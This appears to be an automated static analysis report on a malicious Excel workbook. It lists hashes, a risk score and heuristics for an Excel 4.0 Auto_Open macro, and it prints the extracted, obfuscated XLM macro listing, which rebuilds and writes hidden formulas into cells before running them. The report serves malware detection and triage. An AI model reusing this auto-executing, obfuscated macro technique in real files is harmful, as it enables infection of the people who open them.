Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 46c072dfde46c0c1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:27:54 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: b69c73c1931dc1e26cb0dd2ff17cf220 SHA-1: 3a28260960a7b9cebf5a9837124dda46f231ec46 SHA-256: 46c072dfde46c0c18092c36f55c05e3a6059eb7e0ed8ee20f814589a7c34aad2
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6566 bytes
SHA-256: e1664839221dea91e18d3fcec879a25acfff76a82ac74bd529ed983b3ae85b7a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  UyODKnOyB
' 0018     24 LABEL : Cell Value, String Constant - aKRhsdniJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - AruoPOlIu len=0 
' 0018     26 LABEL : Cell Value, String Constant - aupsCYSZYhM len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B186 
' 0018     26 LABEL : Cell Value, String Constant - doWazEpwieQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - GOmKElPBhGrA len=0 
' 0018     24 LABEL : Cell Value, String Constant - HWBBXYKxj len=0 
' 0018     26 LABEL : Cell Value, String Constant - IERbaaMliEY len=0 
' 0018     21 LABEL : Cell Value, String Constant - IrkGWx len=0 
' 0018     26 LABEL : Cell Value, String Constant - KGJcslQzZey len=0 
' 0018     22 LABEL : Cell Value, String Constant - NnIfecz len=0 
' 0018     22 LABEL : Cell Value, String Constant - nQfUFdk len=0 
' 0018     20 LABEL : Cell Value, String Constant - oUWUD len=0 
' 0018     22 LABEL : Cell Value, String Constant - pYDqmym len=0 
' 0018     25 LABEL : Cell Value, String Constant - qDSOwkwxkk len=0 
' 0018     26 LABEL : Cell Value, String Constant - SLUMdzIEEfa len=0 
' 0018     27 LABEL : Cell Value, String Constant - TMOCIBoDWViH len=0 
' 0018     21 LABEL : Cell Value, String Constant - vJGQMA len=0 
' 0018     20 LABEL : Cell Value, String Constant - XpRmV len=0 
' 0018     20 LABEL : Cell Value, String Constant - XukVu len=0 
' 0018     23 LABEL : Cell Value, String Constant - yXeeLOte len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  UyODKnOyB,B98,"SET.NAME("XukVu",VALUE("0"))",""
'  UyODKnOyB,B101,"SET.NAME("pYDqmym",XukVu)",""
'  UyODKnOyB,B103,"SET.NAME("oUWUD",XukVu)",""
'  UyODKnOyB,B105,"SET.NAME("IERbaaMliEY",COUNTA(vJGQMA))",""
'  UyODKnOyB,B108,"SET.NAME("IrkGWx",COUNTA(yXeeLOte))",""
'  UyODKnOyB,B111,[],""
'  UyODKnOyB,B115,"SET.NAME("aKRhsdniJ","")",""
'  UyODKnOyB,B118,"pYDqmym",""
'  UyODKnOyB,B121,"SET.NAME("nQfUFdk",HLOOKUP("*",vJGQMA,pYDqmym,FALSE))",""
'  UyODKnOyB,B124,"KGJcslQzZey",""
'  UyODKnOyB,B129,"SET.NAME("AruoPOlIu",XukVu)",""
'  UyODKnOyB,B133,[],""
'  UyODKnOyB,B135,"AruoPOlIu",""
'  UyODKnOyB,B139,"aupsCYSZYhM",""
'  UyODKnOyB,B142,"qDSOwkwxkk",""
'  UyODKnOyB,B147,"GOmKElPBhGrA",""
'  UyODKnOyB,B149,"SET.NAME("TMOCIBoDWViH",VALUE(HLOOKUP("*",yXeeLOte,GOmKElPBhGrA,FALSE)))",""
'  UyODKnOyB,B152,"doWazEpwieQ",""
'  UyODKnOyB,B157,"aKRhsdniJ",""
'  UyODKnOyB,B162,"oUWUD",""
'  UyODKnOyB,B167,NEXT(),""
'  UyODKnOyB,B171,"NnIfecz",""
'  UyODKnOyB,B173,"SET.NAME("f",INT(T(FORMULA(T(aKRhsdniJ)&"",""&T(NnIfecz)))))",""
'  UyODKnOyB,B177,"HWBBXYKxj",""
'  UyODKnOyB,B179,NEXT(),""
'  UyODKnOyB,B181,RETURN(),""
'  UyODKnOyB,B209,"SET.NAME("XpRmV",B98)",""
'  UyODKnOyB,B211,"vJGQMA",""
'  UyODKnOyB,B215,"SET.NAME("yXeeLOte",R82C14)",""
'  UyODKnOyB,B220,"SET.NAME("HWBBXYKxj",230)",""
'  UyODKnOyB,B225,"SET.NAME("SLUMdzIEEfa",2)",""
'  UyODKnOyB,B229,XpRmV(),""
'  UyODKnOyB,B230,HALT(),""

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